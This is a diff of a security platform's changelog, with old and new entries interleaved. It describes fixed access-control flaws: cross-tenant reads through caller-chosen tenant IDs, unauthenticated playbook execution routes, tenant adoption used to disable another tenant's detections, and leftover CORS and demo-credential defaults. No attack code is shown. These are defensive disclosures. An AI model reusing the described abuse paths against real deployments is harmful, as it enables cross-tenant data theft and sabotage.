language with- no analysis, an analysis older than ten days, or one belonging to a- different commit than the one that triggered the run are all failures rather- than a clean bill of health, and an input it cannot read exits 2 rather than- 0. Dismissed alerts stay excluded — that is GitHub's audited escape hatch- and the repository uses it for ~20 accepted-risk- `py/request-without-cert-validation` findings — but the count is printed on- every run so a silent mass-dismissal is visible. `--self-test` injects an- alert at each severity plus every shape of vacuous pass and requires the- gate to catch all ten; CI runs it immediately before the gate itself.--- **`scripts/validate_playbooks.py` printed to stderr and called `sys.exit(2)`- while being imported** (CodeQL `py/print-during-import`, alert #896). Beyond- the note, this was a live defect:- `scripts/check_playbook_schema_parity.py` imports the module to read- `SUPPORTED_TRIGGERS` and wraps the import in `except Exception`, which- cannot catch `SystemExit` — a broken environment would have killed the- parity gate's interpreter instead of producing its diagnostic. The import- now raises `ImportError`, which that handler catches.--- **Thirty routes across six services let the caller name the tenant they were- reading.** `/fusion/entity-risk/*` was the reported instance and the worst- one: three routes on the API gateway and three on the fusion service took- `tenant_id` as a query parameter with no auth dependency at all. The console- reaches fusion *directly* through a Next rewrite when `FUSION_URL` is set, so- those routes were reachable from any browser on the internet, and an- anonymous request naming another tenant's UUID returned that tenant's- entity-risk queue, stats and per-entity detail. The engine's own docstring- asserted the missing control — "the tenant_id is part of the key prefix and- the API service re-checks tenant on read" — and the second half was not true- on either side. Key prefixing isolates whichever tenant it is handed;- validating the parameter's *value* fixes nothing, because a UUID that parses- is still a UUID the caller chose.-- An AST pass over all 600 routes in `services/` found the same shape in five- more places, in two flavours. Taking a tenant with no authentication:- `services/agents` `/triage/{run_id}`, `/cases/{id}/triage`,- `/cases/{id}/investigate`, `/investigations` and `/explain`; and six- `services/osquery-tls` routes. Taking one *with* authentication but never- intersecting it with the caller's scope: `honeytokens`, `purple-team` and- `ueba`, where a router-level service token proved the caller was a trusted- service but said nothing about which tenant it was acting for.+ One major wide rather than four. The previous range permitted 23–26 and+ exactly one of those was ever exercised, so three majors were installable+ and untested; 27, 28 and 29 are likewise unexercised, and a range states+ what may be installed rather than what upstream has released.- The tenant now comes from the credential. A new- `app/security/tenant_scope.py`, vendored into the six services that need it,- resolves either a console session (the first-party HS256 access token, whose- verified `tenant_id` claim is authoritative) or a trusted service declaring- the tenant it acts for on `X-AiSOC-Tenant-ID`. A `tenant_id` on the request- survives only as a *filter*, intersected with that scope, so an MSSP- operator can still narrow to one managed customer while naming an outside- tenant narrows to nothing and returns 403. A service token that declares no- tenant resolves to an empty scope and is refused: absent is never all, which- is the shape every cross-tenant leak in this codebase has had. The HS256- verification is stdlib-only and mirrors `services/realtime/src/auth.ts`,- rejecting `alg: none`, a refresh token presented for access, and an expired- or wrongly-signed token.+ Measured before moving, on 64 adversarial cases written against the+ documented policy rather than reusing the module's fixtures — DDL, DML,+ admin verbs, multi-statement input, seven ClickHouse table functions+ including ones hidden in subqueries and CTE bodies, non-allowlisted tables+ reached through JOIN, subquery, UNION arm and CTE, and five forged+ `tenant_id` predicates. 26.33.0 and 30.19.0 return the same disposition on+ all 64 (23 rewritten, 33 `LakeSqlForbiddenError`, 8 `LakeSqlSyntaxError`)+ and the rendered SQL of all 23 rewritten cases is byte-identical. Two cases+ differ in wording only and both remain refusals: `DETACH TABLE` now reaches+ the statement-kind check instead of failing to parse, and `KILL`'s class+ moved to `sqlglot.expressions.ddl`, which the parse error quotes. The+ in-tree suites pass 58/58 on each major.- Closing these surfaced a worse variant the parameter audit could not see:- eight routes matched on an id with **no tenant predicate at all**.- `honeytokens` `GET/PATCH/DELETE /{token_id}` and `/{token_id}/triggers`,- `purple-team` `PATCH /executions/{id}/detection` and the three- `/tabletop/{session_id}` routes, and `ueba`- `PATCH /anomalies/{id}/acknowledge`. Any caller could read, revoke or delete- another tenant's honeytoken, overwrite another tenant's detection outcome,- or acknowledge away another tenant's anomaly by naming its UUID. All eight- now filter on the caller's tenant as well as the id, so a foreign row is a- 404 — which is what it is, from that caller's point of view.+ The forward leg is the part that needed a decision. It read `>=27,<31`,+ which only reached past the pin while the pin sat below 27; there is no+ sqlglot 31, so with the pin on the 30 line every way of naming a ceiling is+ worse than leaving it off — `>=31` cannot be installed and reds the job+ forever, `>=30,<31` duplicates the shipped leg and reports two greens for+ one piece of evidence, and retargeting to `>=27,<30` tests majors below the+ pin, which is regression coverage for versions nothing installs and leaves+ nothing between the next major and production. The leg is now unbounded+ above, so it resolves whatever is newest and arms itself the day a higher+ major is published with no edit. Because that means it re-runs the shipped+ version today, a `Forward coverage` step emits a warning annotation saying+ so rather than letting a duplicate green pass for evidence, and+ `check_sqlglot_pin.py` gained the structural half in both directions: the+ forward leg must carry no upper bound and must not float below the shipped+ floor, and the step's `SHIPPED_CEILING` must equal the shipped range's `<N`+ bound so a stale copy cannot report the wrong verdict. Seven injected+ violations in `--self-test`, which runs before the gate. What is+ deliberately not asserted is that a higher major exists: upstream's release+ schedule is not this repository's to require, and a gate red until sqlglot+ ships 31 would be red for a reason no change here could fix.-- **`services/osquery-tls` enrolled every node under the literal `"default"`,- which resolves to no tenant on any seeded deployment.** The service keys- `tenant_id` as a `String(64)` while the platform keys UUIDs, and nothing- translated. Migration `001` seeds the canonical tenant with slug `default`,- but the demo seed renames that slug to `demo`, so the literal matched- neither the UUID nor the slug and silently matched nothing: FIM events were- written under a string the console could never ask for, and the FIM surface- returned an empty table that looked like "no file changes" rather than "the- read and the write disagree". `app/services/tenant_resolver.py` now resolves- the placeholder to the canonical seed tenant by its **stable UUID** —- ignoring whatever the slug has been renamed to — falling back to the sole- tenant of a single-tenant install, and refusing enrolment for a genuinely- unknown ref rather than filing the node under an unreadable tenancy. Skips- log at `warning` with the ref; a silent `debug` skip is how the original bug- survived.+- **Four root-workspace dependency bumps landed as one lockfile change.**+ `cytoscape` 3.34.0 → 3.34.3, `lucide-react` 1.28.0 → 1.48.0,+ `@modelcontextprotocol/sdk` 1.29.0 → 1.30.1 and `tsx` 4.23.1 → 4.23.15 all+ resolve through the single root `pnpm-lock.yaml`, so merging them+ separately makes each one rebase the next until they all report+ `CONFLICTING`. Regenerated once from the four manifests together: 47+ insertions against 56 deletions, versus 1,130 insertions across the four+ individual proposals, because each of those re-churned the same peer keys.+ The `esbuild` resolutions are byte-identical before and after — `0.25.12`+ and the `vite>esbuild` / `tsup>esbuild` / `bundle-require>esbuild`+ override's `0.28.1` — so the `tsx` bump does not reach Turbopack's bundler,+ which is the reason those overrides are scoped to named parents rather than+ applied workspace-wide.-- **The maintainers' hosted origin shipped in the default CORS allow-list of- nine services.** `services/{api,agents,connectors,honeytokens,purple-team,ueba}`- (six byte-identical copies of the shared `cors.py`), `services/realtime`, and- the Go `ingest` and `enrichment` servers all listed `https://tryaisoc.com` and- `https://www.tryaisoc.com` among the origins they trust when- `AISOC_CORS_ORIGINS` is unset. That is one deployment's public origin baked- into every self-hosted install, trusted for credentialed cross-origin- requests its operator never opted into — and if that domain ever changed- hands, the grant travels with it. The default is now local development only;- the hosted deployment already sets `CORS_ORIGINS` explicitly- (`infra/fly/api/fly.toml`), so nothing legitimate depended on the default.- `apps/docs/docs/deployment/env-vars.md` documented the old list and was- corrected with it, and a new gate pins the six vendored `cors.py` copies- byte-identical — nothing enforced that before, and a single drifted copy is- exactly how one service would quietly keep the origin.+- **Three more root-workspace bumps landed as one lockfile change.**+ `@testing-library/user-event` 14.6.4 → 14.6.7, `autoprefixer` 10.5.2 →+ 10.6.1 and `zustand` 5.0.14 → 5.0.15, regenerated once from the three+ manifests together: 19 insertions against 22 deletions, versus 636+ insertions across the three individual proposals. The only transitive+ movement is `caniuse-lite` 1.0.30001803 → 1.0.30001810, which+ `autoprefixer` carries as a data table. Verified on the merged result+ rather than on the three green ticks, because none of these three has a CI+ job that exercises what it changes beyond the shared web gates:+ `pnpm install --frozen-lockfile`, `eslint .` (0 errors), `tsc --noEmit`,+ `vitest run --coverage` (62.17% statements, gate green), `next build` and+ `storybook build` all pass.-- **The seeded demo identity was a live, operator-owned domain.**- `[email protected]`, paired with a published password, appeared across- compose, fly, render, coolify, railway, two workflows, the web Dockerfile and- the docs. It told a self-hoster to type somebody else's hostname to sign in- to their own install, and published a well-known credential pair against a- real domain. Now `[email protected]` — RFC 2606 reserved, so it can never be- registered and can never receive mail, and it still satisfies the- `pydantic.EmailStr` check that rejected the earlier `[email protected]`. Every- config and doc moved with it. Safe to re-run: `seed_demo._ensure_user`- reconciles on `DEMO_USER_ID`, not on the address, and rewrites a stale email- in place.+- **Five more root-workspace bumps landed as one lockfile change.**+ `@vitest/coverage-v8` 4.1.10 → 4.1.11, `axe-core` 4.11.4 → 4.13.0,+ `react-hot-toast` 2.6.0 → 2.6.1, `framer-motion` 12.43.0 → 13.4.0 and+ `zod` 4.4.3 → 4.6.5 (the last in `services/mcp`), regenerated once: 61+ insertions against 84 deletions, versus 1,040 insertions across the five+ individual proposals.+ The `@vitest/coverage-v8` bump is the first pull request the new `vitest`+ group produced, and it closes the exact-version peer drift that group was+ added for — `pnpm install` stops reporting+ `unmet peer @vitest/[email protected]: found 4.1.10`.+ `framer-motion` is a major and what installs is **13.4.3**, not the 13.4.0+ in the proposal's title, because `^13.4.0` resolves above it. Verified on+ 13.4.3 rather than on the proposed number: `tsc --noEmit` passes, which is+ the gate that would see a removed API, and this app's entire framer-motion+ surface is `motion`, `AnimatePresence` and `useReducedMotion` across 37+ import sites. v13 drops the optional `@emotion/is-prop-valid` peer that+ v12 declared, and this workspace does not use emotion. 615 tests pass with+ zero errors and coverage unchanged to the digit (62.17% / 57.71% / 54.77% /+ 64%), `next build` generates all 104 static pages, and `storybook build`+ succeeds.-- **`/api/v1/identity-timeline` read every tenant's alerts.** Both routes bound- an authenticated user and never used it: the SQL against `aisoc_alerts`- carried no `tenant_id` predicate, so any authenticated caller could pull any- tenant's alerts whose title or evidence matched a substring — and the- substring is the search term, so the match is caller-controlled. Both routes- are now scoped to the caller's tenant.+### Fixed-- **`/api/v1/playbooks` had no authentication at all.** The module declared no- `Depends` of any kind across eight routes and there is no global auth- middleware, so every route was reachable unauthenticated — including- `POST /playbooks/{id}/run`, which executes a playbook against the estate.- Each route now demands `playbooks:read`, `playbooks:write` or- `playbooks:execute`; all three permissions already existed in- `ROLE_PERMISSIONS` and had no reader. `:execute` stays distinct from- `:write` so an analyst can run a governed playbook without editing one.+- **A new user who followed only the README could not log in.** `make up`+ worked, `make smoke` passed 8/8, and then authentication was impossible for+ three independent reasons at once. The only account was `[email protected]`,+ and `LoginRequest.email` is a pydantic `EmailStr`, which rejects RFC 6761+ special-use domains — so the address returned `HTTP 422 "value is not a+ valid email address: The part after the @-sign is a special-use or reserved+ name"` *before the password was ever compared*. The bcrypt hash migration+ 001 seeded matched neither the `changeme` that four documentation pages+ published nor the `admin` its own inline comment claimed; checked with this+ service's `verify_password`, every candidate returned `False`, so it+ corresponded to no known secret. And nothing existed to create a user with.+ `make demo` repaired it incidentally by writing a valid address, which left+ the demo path working and the path for running AiSOC on your own data+ broken.-- The case-timeline linked-alert hydration in `cases.py` now binds a tenant as- defence in depth. Reaching it already required a tenant-scoped case, so this- was not a live read, but a poisoned `alert_ids` array would otherwise have- surfaced another tenant's alert title.+ The first administrator is now created by the deployment rather than+ committed to the repository. `services/api/app/scripts/bootstrap_admin.py`+ creates `[email protected]`, generates a password, and prints it once —+ it is stored nowhere. `make up` calls it, so the documented quick start ends+ with a credential on screen; `make bootstrap` runs it on its own and+ `make bootstrap ARGS=--reset-password` mints a new one. It is idempotent: a+ second run reports the existing account and changes nothing, which is what+ makes it safe for `make up` to call unconditionally. The address is+ validated with the same library the login route uses, so an address that+ cannot sign in is refused here with an explanation instead of becoming an+ account that fails at a login form with a schema error.-- **Any authenticated user could disable detection rules inside any other- tenant.** `_ensure_mssp_parent`, the guard on the MSSP write surface, had- `pass` for a body. Four routes took a caller-supplied child tenant id and- wrote it onto a row without checking whose child it was.+ Migration 001 no longer seeds a user at all, and `059` deactivates the+ orphaned row on databases that already ran it. A gate+ (`tests/test_first_run_gate.py`) now asserts that no migration ships a+ password hash and that every login example in the documentation uses an+ address the API accepts — the four pages were each self-consistent with the+ broken seed, which is why reading them found nothing.+ `golden-pipeline.yml` runs `make bootstrap` against the live stack and+ authenticates with the credential it printed, so the quick start's last step+ is covered by the same job that covers its first.- The consequential one was `POST /api/v1/mssp/overrides`. An override with- `action: "exclude"` is read back by `resolve_effective_rules`, filtered on- `child_tenant_id == <the reader's tenant>`, and the rule is popped out of the- set `POST /api/v1/rules/hunt` runs. So naming another tenant's id silently- deleted a named detection from their hunts, and the victim's only symptom was- a hunt that stopped matching. Reproduced against the previous commit: a- tenant's effective ruleset went from one critical cloud rule to zero on an- override written by an unrelated tenant.+- **The README never told anyone to create `.env`.** `make doctor` correctly+ reported it missing and printed the fix; the quick start it was meant to+ support skipped the step. It is now the second line of the quick start.- Closing those four routes alone would not have been enough, because- `POST /api/v1/mssp/children/{id}/onboard` let anyone *become* the parent- first — its only check was a `409` when the target already had a parent, so- every standalone tenant on a deployment was adoptable by any authenticated- user. Adoption now requires the child to have invited that specific parent by- setting `settings.mssp_parent_invite` through `PATCH /api/v1/tenants/me/settings`,- which only ever writes the caller's own row and is gated on `settings:write`.- The invite is single-use. The child-scoped routes answer `404` rather than- `403` for a tenant that is not yours, so they cannot enumerate tenant UUIDs.+- **`make up` printed an API docs URL that 404s.** The README was corrected on+ its own; the tooling was not, so `make up`, `install.sh`, `install.ps1`,+ `scripts/lab.sh` and three documentation pages went on telling every new+ user to open `http://localhost:8000/docs` while the app mounts `/api/docs`.+ `test_readme_api_docs_url.py` now walks the tool output as well as the+ README.-- **`python-jose` is gone, and `ecdsa` with it.** `ecdsa` carried- CVE-2024-23342 (Minerva timing attack on P-256) with no patched release —- OSV records the affected range as introduced at 0 with no fixed event,- because upstream states python-ecdsa offers no side-channel resistance and- will not fix it. It was an unconditional requirement of `python-jose`, so- the suppression was renewed rather than resolved. `services/api` now signs- and verifies with `PyJWT`, which it already depended on for the OIDC and- SAML paths; `python-jose`, `ecdsa` and `rsa` all leave the dependency tree.- Six CI workflows installed `python-jose[cryptography]` and never installed- `PyJWT`, and reached `cryptography` — a declared direct dependency of- `services/api` — only through that extra; they now install both by name.+- **`make doctor` reported a port held by a foreign process as held by us.**+ The check was `docker compose ps -q <service>`, which lists containers in+ any state — so a Postgres that exited *because* the port was taken still+ counted, and the doctor printed "port 5432 in use by aisoc postgres" while+ an unrelated process had it. The two remedies are opposites. It now asks+ which host port our own container actually publishes, names the container or+ process that holds the port otherwise, and reports a service already+ remapped to a different port as fine rather than as a conflict.-- **`image-size` moved to a patched release instead of staying suppressed.**- Both advisories were held open on the reading that no fix existed. They- record a vulnerable range of `<= 2.0.2`, and npm has published 2.0.3 and- 2.0.4; a null `first_patched_version` is not the same claim as no fix- existing. A pnpm override pins `>=2.0.4 <3`, which- `@docusaurus/mdx-loader`'s `^2.0.2` range accepts. This clears the only two- high-severity advisories in the pnpm workspace.+- **`make up` hit port conflicts with no explanation.** `docker compose up`+ reports `port is already allocated` against whichever container lost the+ race, after a minute of unrelated output and without naming what holds it.+ `make up` now runs the port check first (`doctor.sh --ports-only`) and stops+ before starting anything.-- **The dependency suppression list is empty.** All 42 entries in- `scripts/security_audit_ignores.txt` were re-verified against OSV and- against the versions the lockfiles actually resolve. Every one was- resolvable, and most of the justifications had stopped being true: nine- starlette entries blamed a `fastapi<0.137` cap that exists in neither bot- service, three cryptography entries blamed `<50`/`<49` caps that exist- nowhere in the repository, and the langchain, weasyprint, anyio, aiohttp,- h2, idna and pydantic-settings entries each named a version older than the- one their lock resolves. The file now records what was measured, so the next- review starts from evidence rather than from the previous reason string.+- **The compose security note recommended a remedy that does nothing.** Both+ compose files told operators to change a host binding with a+ `docker-compose.override.yml`. Compose *appends* sequences when it merges,+ so an override without `!override` publishes the new binding alongside the+ old one and leaves the conflict in place. Both notes now show the tag, and+ `ports: !reset []` for removing a publishing entirely.-- **The pnpm and Go arms of the audit could report success without scanning.**- A failed `govulncheck`, an unparseable `pnpm audit` response and a registry- that never answered were all recorded as warnings, which exit 0 — so the job- printed "0 findings" for ecosystems it had not read. All three now record a- coverage gap, which `exit_code_for` already failed on for the Python arm.- That property — an unscanned target fails the build — had no test; it does- now.+- **AI triage could not reach a model in the default deployment, and it was+ not a missing key.** `docker-compose.yml` set `LLM_GATEWAY_URL` on the `api`+ and `agents` services. Nothing read it. Both resolvers honoured only+ `OPENAI_BASE_URL`, which compose never set, and each carried a comment+ explaining that the refusal was deliberate — routing through the gateway+ should be an explicit choice so it is never ambiguous whether the bearer is+ the gateway master key or a provider key. The reasoning was sound and the+ result was that every `aisoc-<role>` alias went to `api.openai.com`, which+ cannot resolve one, and the caller's `except` rendered that as "no LLM+ available". `preflight_llm()` logged exactly this condition at boot with the+ remedy, so the diagnosis existed and the wiring did not.-### Fixed+ `LLM_GATEWAY_URL` is now the lowest-precedence base URL, and the ambiguity is+ resolved rather than avoided. **The model decides the route:** the gateway is+ adopted only for a gateway alias, which resolves nowhere else, while a+ concrete `AISOC_MODEL_PIN_<ROLE>` — the documented direct-to-provider escape+ hatch — is left pointing at its provider. **The route decides the bearer:**+ when AiSOC picks the gateway itself it sends `LITELLM_MASTER_KEY`, which+ compose now supplies to both services, and never a provider key. An explicit+ `OPENAI_BASE_URL` still outranks both. The rule lives once, in+ `services/agents/app/llm/routing.py`, shared with the BYOK resolver and+ mirrored in `services/api/app/services/model_aliases.py` for the service that+ cannot import it.-- **The connector catalog proxy never authenticated, and served a stale list- on every request because of it.** `_fetch_catalog()` issued a bare- `client.get(url)` with no `Authorization` header at a connectors service- that is default-deny on every route, so it was answered `401` on every- single call and fell through to the catalog bundled in the API image *every- time*. The bundle had **26 entries against a live registry of 84**. Nothing- failed: the wizard rendered a confidently wrong list, and because- `connector_type` is validated against that same list, the 58 connectors it- had never heard of were rejected as "unknown connector_type".+ Consumers audited and fixed alongside it: the API copilot and the NL-query+ translator (both already went through the shared helpers); the agents+ **contextual copilot**, which built `ChatOpenAI(model=…)` with no base URL at+ all and reported "LLM not configured" from a key check that could not see the+ gateway's; the **detection builder** (`/nl-detection`), the only consumer that+ could not be pointed anywhere — it POSTed to a hardcoded+ `https://api.openai.com/v1/chat/completions` with `OPENAI_MODEL`; the four API+ endpoints (translation, hunts, knowledge base, phishing) that read+ `LLM_BASE_URL` and defaulted to OpenAI without consulting `OPENAI_BASE_URL`;+ the BYOK / "explain this alert" resolvers in both services, which defaulted+ straight to `https://api.openai.com` and took an alias there; and+ `GET /llm/status`, so the indicator describes the route the explain path+ actually takes. The **MITRE RAG embedding** path is a deliberate exclusion —+ `infra/litellm/config.yaml` declares chat aliases only, so an embedding call+ routed there would 400 on every batch. It has its own+ `AISOC_EMBEDDING_BASE_URL` / `AISOC_EMBEDDING_MODEL` pair and the gate checks+ the exclusion in both directions.- The proxy now presents the service credential and the tenant it is acting- for, mirroring the fusion gateway. Every call site passes the tenant- explicitly — it is a required parameter, not a defaulted one, because a- defaulted parameter is one call sites forget.+- **The LLM gateway moves from the `full` profile into CORE, so the documented+ default install can actually do AI triage.** It was `full`-profile on the+ reasoning that the gateway is "only needed when a provider key is+ configured" — which skipped a step: every task role resolves to an+ `aisoc-<role>` alias, and an alias resolves at the gateway and nowhere else,+ so a CORE deployment could not use a key either. `make up`, the quickstart's+ Path B, and a plain `docker compose up -d` all now start it.- The fallback is kept, and given a stated job: **keep the console usable when- the connectors service is not deployed or not answering.** For that to be- defensible it has to be distinguishable from the real thing, so- `/connectors/catalog` now returns `source` (`live` / `bundled`), `degraded`- and `reason`. A deployment with no connectors service is `bundled` but not- degraded — there the bundle *is* the source of truth, and flagging it would- train operators to ignore the flag.+ With no provider key it boots, serves its seven aliases and answers+ `/health/liveliness` (verified against the bundled config with both provider+ keys empty); AiSOC makes no LLM call and the deterministic path is+ unchanged. CORE goes from 10 to 11 services and ~6 GB to ~6.5 GB — the image+ is 1.67 GB and idles at 451 MiB, measured, so "one lightweight container"+ was not true and the README's numbers moved rather than staying put. The+ gateway is also the only party that can report what a call cost, so CORE's+ cost figures were previously unmeasurable by construction. Reasoning and the+ two rejected alternatives: `docs/decisions/0006-llm-gateway-in-core.md`.+ While correcting that table, the `full` row's service count was checked and+ was wrong: `make up-full` starts **21** services, not 30 (30 is `full` plus+ the `monitoring`, `chatops`, `extras` and `osquery` profiles).- While degraded, an unrecognised `connector_type` returns **503 rather than- 422**: a connectors service rolled ahead of the API image legitimately knows- types that image does not, and "unknown connector_type" sends an operator to- debug a connector that is fine.+- **`OPENAI_MODEL` replaced the triage role's model on the highest-volume path+ in the product.** `.env.example` shipped `OPENAI_MODEL=gpt-4-turbo-preview`,+ a model no gateway config in this tree has ever defined. The auto-triage+ worker layers a tenant's BYOK configuration over the role pin — but the+ resolver's `LlmConfig` collapsed provenance into a single `source` word, so+ the worker could not tell a per-tenant override from the process-wide env+ baseline and bound all three fields unconditionally. Once traffic reached the+ gateway that would have produced `Invalid model name` on every triage call:+ the failure the commercial deployment already hit, where the copilot and every+ triage agent degraded to empty output.++ `LlmConfig` now carries `model_from_tenant` / `base_url_from_tenant` /+ `api_key_from_tenant`, computed from state the resolvers already tracked, and+ only a field the tenant actually set is treated as an override. A real BYOK+ model still wins. `.env.example` ships `OPENAI_MODEL=aisoc-summary` — an alias+ the bundled gateway defines — and the variable is documented as the BYOK /+ explain path only, never a task role.++- **A model with nowhere to go is now an error instead of a fallback.**+ `make_chat_model` and `chat_completions_url` raise `UnroutableModelError`,+ naming the alias and the remedy, when a gateway alias is requested with no+ gateway configured — rather than building a client destined to 404 and+ letting a caller read that as "the LLM is unavailable". `run_auto_triage`+ constructs its model inside its own `try` so the failure arrives as+ `AutoTriageError` like every other LLM failure; `auto_triage_node` catches+ that specifically, so constructing outside it would have failed a whole graph+ run over a configuration problem the deterministic path handles. The+ deterministic floor is unchanged and still reports `call_count=0 models=[]+ total_tokens=0` with no `recommended_actions`. `preflight_llm()` now reports+ both directions at boot: an alias with no gateway, and a concrete model+ pointed at the bundled gateway.-- **The bundled catalog is generated, not refreshed by hand.**- `scripts/generate_connector_catalog_fallback.py` builds it from the- connector registry and `--check` fails the build on drift, so the artefact- cannot fall behind the registry it copies. The gate compares **three**- independent readings of connector identity, in both directions: what- `_CONNECTOR_CLASSES` declares (read through the AST by- `generate_connector_types.parse_registry`, so there is one definition of- "the registry" rather than two), what reaches `CONNECTOR_REGISTRY` at- runtime, and what each `cls.schema()` **advertises**.+- **The natural-language playbook drafter could never reach an LLM.**+ `nl_drafter._llm_factory` called `make_chat_model()`, and `role` is a required+ positional parameter; every other caller in the tree passes one. The+ `TypeError` was caught by the `except Exception` two lines down, which logged+ "no chat model available" and returned `None`, so the drafter fell back to its+ deterministic substrate path on every call, permanently, while reporting the+ condition as a missing provider. Every test monkeypatches `_llm_factory`, so+ the one line that mattered was the one line nothing exercised. Now passes+ `"nl"`, the declared role in `app.llm.model_pins`.- The third is the reading nothing looked at. `list_connector_schemas()`- iterates the registry but takes each entry's `connector_id` from the schema,- so a class registered as `tenable_io` whose `schema()` said `tenable` would- be offered in the wizard under a name `get_connector_class()` cannot- resolve — 84 independent opportunities for two declarations to disagree.- Identity is read off the class, never the filename: `jira_connector.py`- declares `jira` and `tenable.py` declares `tenable_io`, and `--self-test`- asserts that property rather than trusting a comment. The self-test runs- before the gate in CI and injects nine defects — a dropped connector, a- renamed one, a class that never registers, a deleted artefact, an unhooked- consumer, an empty corpus — requiring each to be caught.- **UEBA could never write a baseline or an anomaly, and said it washealthy the whole time.** Three separate defects on one code path, eachreached by the first scoreable event rather than by some rare branch:@@ -2520,463 +2020,627 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0and `/health` answers 503 listing any detached topic instead of ahardcoded `status: 'healthy'`.-- **Nothing invoked the four alembic chains.** `honeytokens`,- `osquery-tls`, `purple-team` and `ueba` own their schemas through- alembic; every container command was a plain `uvicorn`, so the documented- quickstart booted them with empty schemas and none of their- row-level-security policies. Each image now runs `python -m app._migrate`- before its server: it applies the chain as the owner credential, takes a- shared transaction-scoped advisory lock so four chains starting at once- queue instead of deadlocking, reads the applied revision back, and- refuses to start the server unless it matches head. An exit code is not- evidence — `alembic upgrade head` exits 0 when it applies nothing, which- is exactly what happened when the chains shared one version table. All- four also gained a compose healthcheck; they had none, which is why a- container that had done nothing still read as `running`.+- **A consumer that retried a permanent failure in silence, forever.** The+ `graph_ws` broadcaster in `services/ingest` could not die the way the UEBA+ consumer did — its loop `continue`s past an error — but it answered every+ error the same way: a flat 50ms sleep with the error discarded. Against a+ broker that was never coming back that is twenty reconnect attempts a+ second behind a container reporting `running`, restarts 0 and `/health`+ 200, with no line in any log and no counter anywhere. Not a silent death;+ a permanent failure wearing the costume of a transient one.+ Most of those errors never reached the loop at all. `kafka.NewReader`+ falls back to a **silent logger** when `ErrorLogger` is nil, and with a+ `GroupID` set the consumer group's dial, join and rebalance failures are+ reported *only* through it — `ReadMessage` stays blocked — so the single+ most likely permanent fault, an unreachable or misnamed broker, was+ discarded inside the library. `ErrorLogger` is now wired.+ Errors are classified into what the loop can do about them: **transient**+ (retry, with exponential backoff capped at 30s instead of a flat 50ms),+ **permanent** (the loop stops, because a loop over a fault no retry can+ clear turns a misconfiguration into indefinite churn — the same reasoning+ the UEBA consumer records), and **poison** (one undecodable envelope,+ counted and skipped without backing off a healthy subscription). A fourth+ state is a duration rather than a class: a `no such host` can be a startup+ race for a few seconds and a variable nobody set for ever, so it is+ reported as transient and then, after two minutes, as *not resolving* —+ the point at which the operator's next move stops being "wait".+ Permanence is decided by an enumerated set of protocol codes, not by+ negating `kafka.Error.Temporary()`: `REBALANCE_IN_PROGRESS` is+ non-retriable in the protocol's sense and happens on every deploy, so+ deriving the set that way would have stopped the consumer on a routine+ rebalance. A test walks the entire error table in both directions.++- **Readiness that reported on the process and not on the subscription.**+ Ingest's `/readyz` now names every registered background subscription and+ its state, in the healthy case too, so a 200 says what was checked rather+ than only that nothing was wrong. The verdict stays keyed on the publish+ path deliberately: unlike the Python services, consuming is not ingest's+ job, and failing readiness for an opt-in WebSocket fan-out would pull the+ pipeline's front door out of the load balancer to fix a broadcast. The+ surface that depends on the subscription reports on it directly —+ `/v1/graph_ws/stream` answers 503 with the reason instead of completing a+ handshake onto a socket that will stay silent — and+ `aisoc_graph_ws_source_attached` / `_errors_total` / `_not_resolving` are+ the alertable signals.++- **Two scheduler loops that logged that a tick failed and never what.**+ `retention_purge` and `hunt_scheduler` logged `err=%s` with+ `type(exc).__name__` and nothing else: `err=ProgrammingError` every thirty+ seconds says a tick failed, never why, and never whether waiting is the+ right response. Both now report the sanitised message and escalate from+ `warning` to `error` once the run of failures has outlived a transient+ explanation.++- **Nothing invoked the four alembic chains.** `honeytokens`,+ `osquery-tls`, `purple-team` and `ueba` own their schemas through+ alembic; every container command was a plain `uvicorn`, so the documented+ quickstart booted them with empty schemas and none of their+ row-level-security policies. Each image now runs `python -m app._migrate`+ before its server: it applies the chain as the owner credential, takes a+ shared transaction-scoped advisory lock so four chains starting at once+ queue instead of deadlocking, reads the applied revision back, and+ refuses to start the server unless it matches head. An exit code is not+ evidence — `alembic upgrade head` exits 0 when it applies nothing, which+ is exactly what happened when the chains shared one version table. All+ four also gained a compose healthcheck; they had none, which is why a+ container that had done nothing still read as `running`.++- **Two alembic chains could never run.** `services/honeytokens/alembic/` and+ `services/purple-team/alembic/` each contained an empty `__init__.py`, which+ shadows the installed `alembic` package whenever the working directory is on+ `sys.path` — so `alembic upgrade head` failed with+ `No module named 'alembic.config'` from inside the service directory, and+ `env.py`'s own `from alembic import context` would have failed the same way.+ Removed, matching `services/ueba/alembic/`, which never had one. All four+ service chains are now verified upgrade → downgrade → upgrade against a live+ Postgres.++- **`docker compose down && docker compose up` could not bring Kafka back.**+ `kafka_data` is a named volume and ZooKeeper had none, so the second `up`+ on kept data generated a fresh cluster id and the broker refused it with+ `InconsistentClusterIdException`. `make down && make up` — documented as+ "stop the stack, keep the data" — therefore left every Kafka-dependent+ service in `created`, and only `make clean`, which deletes the data,+ recovered. ZooKeeper now persists `/var/lib/zookeeper/data` and `/log`.++- **`osquery-tls` published a container port nothing listened on.** Compose+ mapped `127.0.0.1:8091:8007` while the service runs uvicorn on 9001. With+ no healthcheck either, the container read as `running` against a closed+ socket. Found by adding the healthcheck and watching it never leave+ `starting`.++- **`docker-compose.override.yml` was committed.** Its own header reads+ "untracked, never committed": it is a QA port remap that moved PostgreSQL+ to 55432 and ClickHouse to 58123/59000, contradicting every port the+ documentation quotes. Removed.++- **The connector catalog proxy never authenticated, and served a stale list+ on every request because of it.** `_fetch_catalog()` issued a bare+ `client.get(url)` with no `Authorization` header at a connectors service+ that is default-deny on every route, so it was answered `401` on every+ single call and fell through to the catalog bundled in the API image *every+ time*. The bundle had **26 entries against a live registry of 84**. Nothing+ failed: the wizard rendered a confidently wrong list, and because+ `connector_type` is validated against that same list, the 58 connectors it+ had never heard of were rejected as "unknown connector_type".++ The proxy now presents the service credential and the tenant it is acting+ for, mirroring the fusion gateway. Every call site passes the tenant+ explicitly — it is a required parameter, not a defaulted one, because a+ defaulted parameter is one call sites forget.++ The fallback is kept, and given a stated job: **keep the console usable when+ the connectors service is not deployed or not answering.** For that to be+ defensible it has to be distinguishable from the real thing, so+ `/connectors/catalog` now returns `source` (`live` / `bundled`), `degraded`+ and `reason`. A deployment with no connectors service is `bundled` but not+ degraded — there the bundle *is* the source of truth, and flagging it would+ train operators to ignore the flag.++ While degraded, an unrecognised `connector_type` returns **503 rather than+ 422**: a connectors service rolled ahead of the API image legitimately knows+ types that image does not, and "unknown connector_type" sends an operator to+ debug a connector that is fine.++- **The bundled catalog is generated, not refreshed by 